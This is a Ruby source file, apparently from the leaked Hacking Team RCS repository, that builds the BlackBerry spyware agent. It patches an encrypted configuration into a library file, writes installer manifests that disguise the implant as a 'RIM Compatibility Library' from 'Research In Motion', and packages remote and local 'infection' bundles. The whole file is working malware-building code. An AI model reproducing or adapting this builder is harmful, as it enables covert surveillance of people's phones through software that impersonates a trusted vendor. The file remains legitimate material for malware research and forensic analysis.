hackedteam/core-blackberry

View on GitHub
server/blackberry.rb

Summary

Maintainability
B
5 hrs
Test Coverage
#
#  Agent creation for blackberry
#

# from RCS::Common
require 'rcs-common/trace'

require 'digest/sha1'

module RCS
module DB

class BuildBlackberry < Build

  def initialize
    super
    @platform = 'blackberry'
  end

  def unpack
    # unpack the core from db
    super

    trace :debug, "outputs: #{@outputs}"
    
    # enumerates the version, renames the cod, flattens file in root
    Dir[path('res/v_*/*.cod')].each { |d| 
        trace :debug, "versioned: #{d}" 
        (maj, min ,codname)=d.scan(/v_(\d+)\.(\d+)\/(.*).cod/).flatten
        version = "#{maj}.#{min}"
        trace :debug, "version: #{version} codname: #{codname}"
        FileUtils.mv(d, path("#{codname}_#{version}.cod"))
        @outputs[@outputs.index("res/v_#{version}\/#{codname}.cod")] = "#{codname}_#{version}.cod"
    }
    
    # flatten the library to be binary patched
    FileUtils.mv( path("res/net_rim_bb_lib_base.cod"), path("net_rim_bb_lib_base.cod"))
    @outputs[@outputs.index("res/net_rim_bb_lib_base.cod")] = "net_rim_bb_lib_base.cod"
    
    trace :debug, "outputs: #{@outputs}"
  end
  
  def patch(params)

    trace :debug, "Build: patching: #{params}"

    # add the file to be patched to the params
    # these params will be passed to the super
    params[:core] = 'net_rim_bb_lib_base.cod'

    # enforce demo flag accordingly to the license
    # or raise if cannot build
    params['demo'] = LicenseManager.instance.can_build_platform :blackberry, params['demo']

    # invoke the generic patch method with the new params
    super

    trace :debug, "Build: adding config to [#{params[:core]}] file"

    # blackberry has the config inside the lib file, binary patch it instead of creating a new file
    file = File.open(path(params[:core]), 'rb+')
    file.pos = file.read.index 'XW15TZlwZwpaWGPZ1wtL0f591tJe2b9'
    config = @factory.configs.first.encrypted_config(@factory.confkey)
    # write the size of the config
    file.write [config.bytesize].pack('I')
    # pad the config to 16Kb (minus the size of the int)
    config = config.ljust(2**14 - 4, "\x00")
    file.write config
    file.close
  end

  def melt(params)
    trace :debug, "Build: melting: #{params}"
    trace :debug, "melt: outputs: #{@outputs}"
    
    # enumerate the versions
    Dir[path('res/**')].each {|f| 
        trace :debug, "content: #{f}"
        version = f.to_s[/v_\d+\.\d+/]        
        if version 
            #version=version[2..-1]
            version.slice! "v_"
            trace :debug, "  version: #{version}"
            version_melt params,version            
        end
    }
  end
  
  # for every version prepares jad and cods
  def version_melt(params, version)
    trace :debug, "Build: version_melt: #{params}, #{version}"

    @appname = params['appname'] || 'net_rim_bb' 
    
    # read the content of the jad header
    content = File.open(path('jad'), 'rb') {|f| f.read}

    # reopen it for writing
    jadname=@appname + '_' + version + '.jad'
    jad = File.open(path(jadname), 'wb')

    name = params['name'] || 'RIM Compatibility Library'

    # make substitution in the jad header
    content['[:RIM-COD-Name:]'] = name
    content['[:RIM-COD-Version:]'] = params['version'] || '1.1.0'
    content['[:RIM-COD-Description:]'] = params['desc'] || 'RIM Compatibility Library used by applications in the App World'
    content['[:RIM-COD-Vendor:]'] = params['vendor'] || 'Research In Motion'

    content.gsub!('[:RIM-COD-FileName:]', @appname)
    
    jad.puts content
    jad.puts "RIM-COD-Module-Name: #{name}"
    jad.puts "RIM-COD-Creation-Time: #{Time.now.to_i}"

    num = 0
    
    # keep only the version specific cores and the library
    trace :debug, "version_melt: outputs: #{@outputs}"    
    jadfiles = @outputs.dup.keep_if {|x| (x[/\w$/] and x[version]) or x['base']}
    trace :debug, "version_melt: jadfiles: #{jadfiles}"

    # sort but ignore the extension.
    # this is mandatory to have blabla-1.cod after blabla.cod
    jadfiles.sort! {|x,y| x[0..-5] <=> y[0..-5]}

    # each part of the core must be renamed to the new appname
    # and added to the body of the jad file
    jadfiles.each do |file|
      old_name = file.dup
      
      if(file['net_rim_bb_lib'])
        file['net_rim_bb_lib'] = @appname
      end
      
      @outputs[@outputs.index(file)] = file
      File.rename(path(old_name), path(file))

      inc = num == 0 ? '' : "-#{num}"

      jad.puts "RIM-COD-URL#{inc}: #{file}"
      jad.puts "RIM-COD-SHA1#{inc}: #{Digest::SHA1.file(path(file))}"
      jad.puts "RIM-COD-Size#{inc}: #{File.size(path(file))}"

      num += 1
    end

    jad.close
    
    @outputs << jadname
       
  end

  def pack(params)
    trace :debug, "Build: pack: #{params}"
    trace :debug, "Build: pack: outputs: #{@outputs}"

    case params['type']
      when 'remote'
        Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z|
        #delete_if {|o| o['res']}.
          @outputs.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output|
            if File.file?(path(output))                    
                z.file.open(output, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
            end
          end
        end
      when 'local'
        Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z|
          @outputs.keep_if {|o| o['res'] || o['install.bat'] || o['bin'] || o['base'] || o['.cod'] || o['.jad']}.each do |output|
            trace :debug, "       pack: #{output}"
            if output['base']
              z.file.open('/res/net_rim_bb_lib_base.cod', "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
            else
                if File.file?(path(output))    
                    outfile=output.dup        
                    outfile="res/" + output    if !output[/^res\//] and !output[/\.bat$/]
                    z.file.open(outfile, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} }
                end
            end
          end
        end
      else
        raise("pack failed. unknown type.")
    end

    # this is the only file we need to output after this point
    @outputs = ['output.zip']

  end
  
  def infection_files(name = 'bb_in')
    trace :debug, "     infection_files"
    files=[]
    # keeps only all the cod and jad in the root
    @outputs.dup.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output|
        files.push( { :name => output, :path => path(output) })
    end
    # adds the exes, in res, flattening the dir
    @outputs.dup.keep_if {|o| o['res'] and o['exe']}.each do |output|
        filepath = output.dup
        filepath.slice! "res/"
        filepath.gsub!(/inst_helper/,name)
        files.push({ :name => filepath, :path => path(output) })
    end
    
    return files
  end

end

end #DB::
end #RCS::